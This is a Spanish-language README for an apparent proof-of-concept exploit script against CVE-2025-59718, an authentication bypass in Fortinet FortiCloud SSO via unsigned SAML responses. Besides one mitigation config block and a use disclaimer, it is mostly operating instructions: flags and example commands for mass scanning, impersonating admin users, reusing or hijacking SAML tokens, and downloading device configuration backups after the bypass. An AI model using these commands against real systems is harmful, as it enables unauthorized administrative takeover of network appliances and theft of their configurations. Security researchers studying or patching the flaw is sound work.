Fortinet anunció dos vulnerabilidades de omisión de autenticación estrechamente relacionadas el 9 de diciembre de 2025. Ambas fallas implican una verificación incorrecta de firmas criptográficas (CWE‑347) en el manejo de respuestas SAML para la función de inicio de sesión SSO de FortiCloud.
Esta herramienta es un script de explotación de prueba de concepto (PoC) para CVE-2025-59718, una vulnerabilidad crítica de omisión de autenticación en productos Fortinet (por ejemplo, FortiOS, FortiProxy, FortiSwitchManager) debido a la verificación incorrecta de firmas criptográficas en mensajes SAML para FortiCloud SSO. La vulnerabilidad permite a atacantes remotos no autenticados omitir la autenticación y obtener acceso administrativo creando y enviando una respuesta SAML sin firmar.
Nota importante: Este script está destinado únicamente a fines educativos, de investigación y de pruebas autorizadas. El uso no autorizado contra sistemas sin permiso explícito es ilegal y poco ético. Cumpla siempre con las leyes aplicables y obtenga la autorización adecuada antes de realizar pruebas.
El script admite escaneo de objetivo único o masivo, uso opcional de proxy, simulaciones de reutilización de tokens SAML y secuestro de sesiones, y acciones posteriores a la autenticación como la descarga de archivos de configuración. Utiliza múltiples hilos para mayor eficiencia y registra los resultados en archivos para su análisis.
config system global
set admin-forticloud-sso-login disable
end
pip:
pip install requests argparse
exploit.py).pip install -r requirements.txt
requirements.txt con: requests y argparse si es necesario).chmod +x exploit.py
Ejecute el script con Python:
python exploit.py [opciones]
--target <IP/hostname>: Objetivo único a escanear (por ejemplo, 192.168.1.1 o example.com).--targets <lista separada por comas>: Múltiples objetivos (por ejemplo, 192.168.1.1,example.com).--file <ruta>: Archivo con un objetivo por línea.--username <nombre>: Nombre de usuario a suplantar en el payload SAML (por defecto: admin).--endpoint <ruta>: Punto final de inicio de sesión SAML (por defecto: /remote/saml/login).--max-threads <int>: Número máximo de hilos concurrentes (por defecto: 10; máximo recomendado: 50).--saml-token <token>: Token SAML codificado en Base64 para reutilización/secuestro (opcional).--proxy <url>: URL del proxy (por ejemplo, http://127.0.0.1:8080).--post-auth-config: Habilitar descarga de configuración posterior a la autenticación (indicador; deshabilitado por defecto).--vulnerable-file <ruta>: Archivo para guardar objetivos vulnerables (por defecto: vulnerable_targets.txt).--output-file <ruta>: Archivo CSV para informes de ataque (por defecto: attack_report.csv).Nota: Si no se proporcionan opciones de objetivo, el script saldrá con un error.
Escaneo de objetivo único:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
Escanea un solo dispositivo, suplantando a admin, a través de un proxy local.
Escaneo masivo desde lista:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
Escanea múltiples objetivos en paralelo, habilita la descarga de configuración en caso de éxito.
Escaneo basado en archivo con reutilización de token:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
Procesa objetivos desde targets.txt, intenta reutilización/secuestro de token.
Escaneo completo no interactivo:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
Nombre de usuario personalizado, muchos hilos, descarga de configuración, salida personalizada.
/api/v2/monitor/system/config/backup.Ejemplo de fila CSV:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy para depuración.requests y argparse estén instalados.--max-threads si se alcanzan límites de recursos.Esto es un PoC; las contribuciones para mejoras (por ejemplo, mejor detección, funciones adicionales) son bienvenidas a través de solicitudes de incorporación de cambios. Enfoque en seguridad y ética.
Última actualización: 22 de diciembre de 2025